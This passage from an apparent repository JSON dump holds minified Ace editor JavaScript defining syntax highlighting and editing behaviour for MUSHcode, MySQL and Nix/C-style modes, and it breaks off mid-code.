    "content": "define(\"ace/mode/mushcode_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"@if|@ifelse|@switch|@halt|@dolist|@create|@scent|@sound|@touch|@ataste|@osound|@ahear|@aahear|@amhear|@otouch|@otaste|@drop|@odrop|@adrop|@dropfail|@odropfail|@smell|@oemit|@emit|@pemit|@parent|@clone|@taste|whisper|page|say|pose|semipose|teach|touch|taste|smell|listen|look|move|go|home|follow|unfollow|desert|dismiss|@tel\",t=\"=#0\",n=\"default|edefault|eval|get_eval|get|grep|grepi|hasattr|hasattrp|hasattrval|hasattrpval|lattr|nattr|poss|udefault|ufun|u|v|uldefault|xget|zfun|band|bnand|bnot|bor|bxor|shl|shr|and|cand|cor|eq|gt|gte|lt|lte|nand|neq|nor|not|or|t|xor|con|entrances|exit|followers|home|lcon|lexits|loc|locate|lparent|lsearch|next|num|owner|parent|pmatch|rloc|rnum|room|where|zone|worn|held|carried|acos|asin|atan|ceil|cos|e|exp|fdiv|fmod|floor|log|ln|pi|power|round|sin|sqrt|tan|aposs|andflags|conn|commandssent|controls|doing|elock|findable|flags|fullname|hasflag|haspower|hastype|hidden|idle|isbaker|lock|lstats|money|who|name|nearby|obj|objflags|photo|poll|powers|pendingtext|receivedtext|restarts|restarttime|subj|shortestpath|tmoney|type|visible|cat|element|elements|extract|filter|filterbool|first|foreach|fold|grab|graball|index|insert|itemize|items|iter|last|ldelete|map|match|matchall|member|mix|munge|pick|remove|replace|rest|revwords|setdiff|setinter|setunion|shuffle|sort|sortby|splice|step|wordpos|words|add|lmath|max|mean|median|min|mul|percent|sign|stddev|sub|val|bound|abs|inc|dec|dist2d|dist3d|div|floordiv|mod|modulo|remainder|vadd|vdim|vdot|vmag|vmax|vmin|vmul|vsub|vunit|regedit|regeditall|regeditalli|regediti|regmatch|regmatchi|regrab|regraball|regraballi|regrabi|regrep|regrepi|after|alphamin|alphamax|art|before|brackets|capstr|case|caseall|center|containsfansi|comp|decompose|decrypt|delete|edit|encrypt|escape|if|ifelse|lcstr|left|lit|ljust|merge|mid|ostrlen|pos|repeat|reverse|right|rjust|scramble|secure|space|spellnum|squish|strcat|strmatch|strinsert|stripansi|stripfansi|strlen|switch|switchall|table|tr|trim|ucstr|unsafe|wrap|ctitle|cwho|channels|clock|cflags|ilev|itext|inum|convsecs|convutcsecs|convtime|ctime|etimefmt|isdaylight|mtime|secs|msecs|starttime|time|timefmt|timestring|utctime|atrlock|clone|create|cook|dig|emit|lemit|link|oemit|open|pemit|remit|set|tel|wipe|zemit|fbcreate|fbdestroy|fbwrite|fbclear|fbcopy|fbcopyto|fbclip|fbdump|fbflush|fbhset|fblist|fbstats|qentries|qentry|play|ansi|break|c|asc|die|isdbref|isint|isnum|isletters|linecoords|localize|lnum|nameshort|null|objeval|r|rand|s|setq|setr|soundex|soundslike|valid|vchart|vchart2|vlabel|@@|bakerdays|bodybuild|box|capall|catalog|children|ctrailer|darttime|debt|detailbar|exploredroom|fansitoansi|fansitoxansi|fullbar|halfbar|isdarted|isnewbie|isword|lambda|lobjects|lplayers|lthings|lvexits|lvobjects|lvplayers|lvthings|newswrap|numsuffix|playerson|playersthisweek|randomad|randword|realrandword|replacechr|second|splitamount|strlenall|text|third|tofansi|totalac|unique|getaddressroom|listpropertycomm|listpropertyres|lotowner|lotrating|lotratingcount|lotvalue|boughtproduct|companyabb|companyicon|companylist|companyname|companyowners|companyvalue|employees|invested|productlist|productname|productowners|productrating|productratingcount|productsoldat|producttype|ratedproduct|soldproduct|topproducts|totalspentonproduct|totalstock|transfermoney|uniquebuyercount|uniqueproductsbought|validcompany|deletepicture|fbsave|getpicturesecurity|haspicture|listpictures|picturesize|replacecolor|rgbtocolor|savepicture|setpicturesecurity|showpicture|piechart|piechartlabel|createmaze|drawmaze|drawwireframe\",r=this.createKeywordMapper({\"invalid.deprecated\":\"debugger\",\"support.function\":n,\"constant.language\":t,keyword:e},\"identifier\"),i=\"(?:r|u|ur|R|U|UR|Ur|uR)?\",s=\"(?:(?:[1-9]\\\\d*)|(?:0))\",o=\"(?:0[oO]?[0-7]+)\",u=\"(?:0[xX][\\\\dA-Fa-f]+)\",a=\"(?:0[bB][01]+)\",f=\"(?:\"+s+\"|\"+o+\"|\"+u+\"|\"+a+\")\",l=\"(?:[eE][+-]?\\\\d+)\",c=\"(?:\\\\.\\\\d+)\",h=\"(?:\\\\d+)\",p=\"(?:(?:\"+h+\"?\"+c+\")|(?:\"+h+\"\\\\.))\",d=\"(?:(?:\"+p+\"|\"+h+\")\"+l+\")\",v=\"(?:\"+d+\"|\"+p+\")\";this.$rules={start:[{token:\"variable\",regex:\"%[0-9]{1}\"},{token:\"variable\",regex:\"%q[0-9A-Za-z]{1}\"},{token:\"variable\",regex:\"%[a-zA-Z]{1}\"},{token:\"variable.language\",regex:\"%[a-z0-9-_]+\"},{token:\"constant.numeric\",regex:\"(?:\"+v+\"|\\\\d+)[jJ]\\\\b\"},{token:\"constant.numeric\",regex:v},{token:\"constant.numeric\",regex:f+\"[lL]\\\\b\"},{token:\"constant.numeric\",regex:f+\"\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\*|\\\\*\\\\*|\\\\/|\\\\/\\\\/|#|%|<<|>>|\\\\||\\\\^|~|<|>|<=|=>|==|!=|<>|=\"},{token:\"paren.lparen\",regex:\"[\\\\[\\\\(\\\\{]\"},{token:\"paren.rparen\",regex:\"[\\\\]\\\\)\\\\}]\"},{token:\"text\",regex:\"\\\\s+\"}]}};r.inherits(s,i),t.MushCodeRules=s}),define(\"ace/mode/folding/pythonic\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e){this.foldingStartMarker=new RegExp(\"([\\\\[{])(?:\\\\s*)$|(\"+e+\")(?:\\\\s*)(?:#.*)?$\")};r.inherits(s,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=e.getLine(n),i=r.match(this.foldingStartMarker);if(i)return i[1]?this.openingBracketBlock(e,i[1],n,i.index):i[2]?this.indentationBlock(e,n,i.index+i[2].length):this.indentationBlock(e,n)}}.call(s.prototype)}),define(\"ace/mode/mushcode\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/mushcode_highlight_rules\",\"ace/mode/folding/pythonic\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./mushcode_highlight_rules\").MushCodeRules,o=e(\"./folding/pythonic\").FoldMode,u=e(\"../range\").Range,a=function(){this.HighlightRules=s,this.foldingRules=new o(\"\\\\:\")};r.inherits(a,i),function(){this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[\\:]\\s*$/);o&&(r+=n)}return r};var e={pass:1,\"return\":1,raise:1,\"break\":1,\"continue\":1};this.checkOutdent=function(t,n,r){if(r!==\"\\r\\n\"&&r!==\"\\r\"&&r!==\"\\n\")return!1;var i=this.getTokenizer().getLineTokens(n.trim(),t).tokens;if(!i)return!1;do var s=i.pop();while(s&&(s.type==\"comment\"||s.type==\"text\"&&s.value.match(/^\\s+$/)));return s?s.type==\"keyword\"&&e[s.value]:!1},this.autoOutdent=function(e,t,n){n+=1;var r=this.$getIndent(t.getLine(n)),i=t.getTabString();r.slice(-i.length)==i&&t.remove(new u(n,r.length-i.length,n,r.length))},this.$id=\"ace/mode/mushcode\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-mysql.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/mysql_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,o=e(\"./text_highlight_rules\").TextHighlightRules,u=function(){function i(e){var t=e.start,n=e.escape;return{token:\"string.start\",regex:t,next:[{token:\"constant.language.escape\",regex:n},{token:\"string.end\",next:\"start\",regex:t},{defaultToken:\"string\"}]}}var e=\"alter|and|as|asc|between|count|create|delete|desc|distinct|drop|from|having|in|insert|into|is|join|like|not|on|or|order|select|set|table|union|update|values|where|accessible|action|add|after|algorithm|all|analyze|asensitive|at|authors|auto_increment|autocommit|avg|avg_row_length|before|binary|binlog|both|btree|cache|call|cascade|cascaded|case|catalog_name|chain|change|changed|character|check|checkpoint|checksum|class_origin|client_statistics|close|coalesce|code|collate|collation|collations|column|columns|comment|commit|committed|completion|concurrent|condition|connection|consistent|constraint|contains|continue|contributors|convert|cross|current_date|current_time|current_timestamp|current_user|cursor|data|database|databases|day_hour|day_microsecond|day_minute|day_second|deallocate|dec|declare|default|delay_key_write|delayed|delimiter|des_key_file|describe|deterministic|dev_pop|dev_samp|deviance|directory|disable|discard|distinctrow|div|dual|dumpfile|each|elseif|enable|enclosed|end|ends|engine|engines|enum|errors|escape|escaped|even|event|events|every|execute|exists|exit|explain|extended|fast|fetch|field|fields|first|flush|for|force|foreign|found_rows|full|fulltext|function|general|global|grant|grants|group|groupby_concat|handler|hash|help|high_priority|hosts|hour_microsecond|hour_minute|hour_second|if|ignore|ignore_server_ids|import|index|index_statistics|infile|inner|innodb|inout|insensitive|insert_method|install|interval|invoker|isolation|iterate|key|keys|kill|language|last|leading|leave|left|level|limit|linear|lines|list|load|local|localtime|localtimestamp|lock|logs|low_priority|master|master_heartbeat_period|master_ssl_verify_server_cert|masters|match|max|max_rows|maxvalue|message_text|middleint|migrate|min|min_rows|minute_microsecond|minute_second|mod|mode|modifies|modify|mutex|mysql_errno|natural|next|no|no_write_to_binlog|offline|offset|one|online|open|optimize|option|optionally|out|outer|outfile|pack_keys|parser|partition|partitions|password|phase|plugin|plugins|prepare|preserve|prev|primary|privileges|procedure|processlist|profile|profiles|purge|query|quick|range|read|read_write|reads|real|rebuild|recover|references|regexp|relaylog|release|remove|rename|reorganize|repair|repeatable|replace|require|resignal|restrict|resume|return|returns|revoke|right|rlike|rollback|rollup|row|row_format|rtree|savepoint|schedule|schema|schema_name|schemas|second_microsecond|security|sensitive|separator|serializable|server|session|share|show|signal|slave|slow|smallint|snapshot|soname|spatial|specific|sql|sql_big_result|sql_buffer_result|sql_cache|sql_calc_found_rows|sql_no_cache|sql_small_result|sqlexception|sqlstate|sqlwarning|ssl|start|starting|starts|status|std|stddev|stddev_pop|stddev_samp|storage|straight_join|subclass_origin|sum|suspend|table_name|table_statistics|tables|tablespace|temporary|terminated|to|trailing|transaction|trigger|triggers|truncate|uncommitted|undo|uninstall|unique|unlock|upgrade|usage|use|use_frm|user|user_resources|user_statistics|using|utc_date|utc_time|utc_timestamp|value|variables|varying|view|views|warnings|when|while|with|work|write|xa|xor|year_month|zerofill|begin|do|then|else|loop|repeat\",t=\"by|bool|boolean|bit|blob|decimal|double|enum|float|long|longblob|longtext|medium|mediumblob|mediumint|mediumtext|time|timestamp|tinyblob|tinyint|tinytext|text|bigint|int|int1|int2|int3|int4|int8|integer|float|float4|float8|double|char|varbinary|varchar|varcharacter|precision|date|datetime|year|unsigned|signed|numeric|ucase|lcase|mid|len|round|rank|now|format|coalesce|ifnull|isnull|nvl\",n=\"charset|clear|connect|edit|ego|exit|go|help|nopager|notee|nowarning|pager|print|prompt|quit|rehash|source|status|system|tee\",r=this.createKeywordMapper({\"support.function\":t,keyword:e,constant:\"false|true|null|unknown|date|time|timestamp|ODBCdotTable|zerolessFloat\",\"variable.language\":n},\"identifier\",!0);this.$rules={start:[{token:\"comment\",regex:\"(?:-- |#).*$\"},i({start:'\"',escape:/\\\\[0'\"bnrtZ\\\\%_]?/}),i({start:\"'\",escape:/\\\\[0'\"bnrtZ\\\\%_]?/}),s.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+|[xX]'[0-9a-fA-F]+'|0[bB][01]+|[bB]'[01]+'/},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"constant.class\",regex:\"@@?[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"constant.buildin\",regex:\"`[^`]*`\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\/|\\\\/\\\\/|%|<@>|@>|<@|&|\\\\^|~|<|>|<=|=>|==|!=|<>|=\"},{token:\"paren.lparen\",regex:\"[\\\\(]\"},{token:\"paren.rparen\",regex:\"[\\\\)]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\"}]},this.embedRules(s,\"doc-\",[s.getEndRule(\"start\")]),this.normalizeRules()};r.inherits(u,o),t.MysqlHighlightRules=u}),define(\"ace/mode/mysql\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/mysql_highlight_rules\",\"ace/range\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"../mode/text\").Mode,s=e(\"./mysql_highlight_rules\").MysqlHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=[\"--\",\"#\"],this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/mysql\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-nix.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/c_cpp_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.cFunctions=\"\\\\b(?:hypot(?:f|l)?|s(?:scanf|ystem|nprintf|ca(?:nf|lb(?:n(?:f|l)?|ln(?:f|l)?))|i(?:n(?:h(?:f|l)?|f|l)?|gn(?:al|bit))|tr(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?)|error|pbrk|ftime|len|rchr|xfrm)|printf|et(?:jmp|vbuf|locale|buf)|qrt(?:f|l)?|w(?:scanf|printf)|rand)|n(?:e(?:arbyint(?:f|l)?|xt(?:toward(?:f|l)?|after(?:f|l)?))|an(?:f|l)?)|c(?:s(?:in(?:h(?:f|l)?|f|l)?|qrt(?:f|l)?)|cos(?:h(?:f)?|f|l)?|imag(?:f|l)?|t(?:ime|an(?:h(?:f|l)?|f|l)?)|o(?:s(?:h(?:f|l)?|f|l)?|nj(?:f|l)?|pysign(?:f|l)?)|p(?:ow(?:f|l)?|roj(?:f|l)?)|e(?:il(?:f|l)?|xp(?:f|l)?)|l(?:o(?:ck|g(?:f|l)?)|earerr)|a(?:sin(?:h(?:f|l)?|f|l)?|cos(?:h(?:f|l)?|f|l)?|tan(?:h(?:f|l)?|f|l)?|lloc|rg(?:f|l)?|bs(?:f|l)?)|real(?:f|l)?|brt(?:f|l)?)|t(?:ime|o(?:upper|lower)|an(?:h(?:f|l)?|f|l)?|runc(?:f|l)?|gamma(?:f|l)?|mp(?:nam|file))|i(?:s(?:space|n(?:ormal|an)|cntrl|inf|digit|u(?:nordered|pper)|p(?:unct|rint)|finite|w(?:space|c(?:ntrl|type)|digit|upper|p(?:unct|rint)|lower|al(?:num|pha)|graph|xdigit|blank)|l(?:ower|ess(?:equal|greater)?)|al(?:num|pha)|gr(?:eater(?:equal)?|aph)|xdigit|blank)|logb(?:f|l)?|max(?:div|abs))|di(?:v|fftime)|_Exit|unget(?:c|wc)|p(?:ow(?:f|l)?|ut(?:s|c(?:har)?|wc(?:har)?)|error|rintf)|e(?:rf(?:c(?:f|l)?|f|l)?|x(?:it|p(?:2(?:f|l)?|f|l|m1(?:f|l)?)?))|v(?:s(?:scanf|nprintf|canf|printf|w(?:scanf|printf))|printf|f(?:scanf|printf|w(?:scanf|printf))|w(?:scanf|printf)|a_(?:start|copy|end|arg))|qsort|f(?:s(?:canf|e(?:tpos|ek))|close|tell|open|dim(?:f|l)?|p(?:classify|ut(?:s|c|w(?:s|c))|rintf)|e(?:holdexcept|set(?:e(?:nv|xceptflag)|round)|clearexcept|testexcept|of|updateenv|r(?:aiseexcept|ror)|get(?:e(?:nv|xceptflag)|round))|flush|w(?:scanf|ide|printf|rite)|loor(?:f|l)?|abs(?:f|l)?|get(?:s|c|pos|w(?:s|c))|re(?:open|e|ad|xp(?:f|l)?)|m(?:in(?:f|l)?|od(?:f|l)?|a(?:f|l|x(?:f|l)?)?))|l(?:d(?:iv|exp(?:f|l)?)|o(?:ngjmp|cal(?:time|econv)|g(?:1(?:p(?:f|l)?|0(?:f|l)?)|2(?:f|l)?|f|l|b(?:f|l)?)?)|abs|l(?:div|abs|r(?:int(?:f|l)?|ound(?:f|l)?))|r(?:int(?:f|l)?|ound(?:f|l)?)|gamma(?:f|l)?)|w(?:scanf|c(?:s(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?|mbs)|pbrk|ftime|len|r(?:chr|tombs)|xfrm)|to(?:b|mb)|rtomb)|printf|mem(?:set|c(?:hr|py|mp)|move))|a(?:s(?:sert|ctime|in(?:h(?:f|l)?|f|l)?)|cos(?:h(?:f|l)?|f|l)?|t(?:o(?:i|f|l(?:l)?)|exit|an(?:h(?:f|l)?|2(?:f|l)?|f|l)?)|b(?:s|ort))|g(?:et(?:s|c(?:har)?|env|wc(?:har)?)|mtime)|r(?:int(?:f|l)?|ound(?:f|l)?|e(?:name|alloc|wind|m(?:ove|quo(?:f|l)?|ainder(?:f|l)?))|a(?:nd|ise))|b(?:search|towc)|m(?:odf(?:f|l)?|em(?:set|c(?:hr|py|mp)|move)|ktime|alloc|b(?:s(?:init|towcs|rtowcs)|towc|len|r(?:towc|len))))\\\\b\",u=function(){var e=\"break|case|continue|default|do|else|for|goto|if|_Pragma|return|switch|while|catch|operator|try|throw|using\",t=\"asm|__asm__|auto|bool|_Bool|char|_Complex|double|enum|float|_Imaginary|int|long|short|signed|struct|typedef|union|unsigned|void|class|wchar_t|template|char16_t|char32_t\",n=\"const|extern|register|restrict|static|volatile|inline|private|protected|public|friend|explicit|virtual|export|mutable|typename|constexpr|new|delete|alignas|alignof|decltype|noexcept|thread_local\",r=\"and|and_eq|bitand|bitor|compl|not|not_eq|or|or_eq|typeid|xor|xor_eqconst_cast|dynamic_cast|reinterpret_cast|static_cast|sizeof|namespace\",s=\"NULL|true|false|TRUE|FALSE|nullptr\",u=this.$keywords=this.createKeywordMapper({\"keyword.control\":e,\"storage.type\":t,\"storage.modifier\":n,\"keyword.operator\":r,\"variable.language\":\"this\",\"constant.language\":s},\"identifier\"),a=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Zd\\\\$_\\u00a1-\\uffff]*\\\\b\";this.$rules={start:[{token:\"comment\",regex:\"//$\",next:\"start\"},{token:\"comment\",regex:\"//\",next:\"singleLineComment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"keyword\",regex:\"#\\\\s*(?:include|import|pragma|line|define|undef)\\\\b\",next:\"directive\"},{token:\"keyword\",regex:\"#\\\\s*(?:endif|if|ifdef|else|elif|ifndef)\\\\b\"},{token:\"support.function.C99.c\",regex:o},{token:u,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|new|delete|typeof|void)\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],singleLineComment:[{token:\"comment\",regex:/\\\\$/,next:\"singleLineComment\"},{token:\"comment\",regex:/$/,next:\"start\"},{defaultToken:\"comment\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{defaultToken:\"string\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{defaultToken:\"string\"}],directive:[{token:\"constant.other.multiline\",regex:/\\\\/},{token:\"constant.other.multiline\",regex:/.*\\\\/},{token:\"constant.other\",regex:\"\\\\s*<.+?>\",next:\"start\"},{token:\"constant.other\",regex:'\\\\s*[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]',next:\"start\"},{token:\"constant.other\",regex:\"\\\\s*['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\",next:\"start\"},{token:\"constant.other\",regex:/[^\\\\\\/]+/,next:\"start\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(u,s),t.c_cppHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var 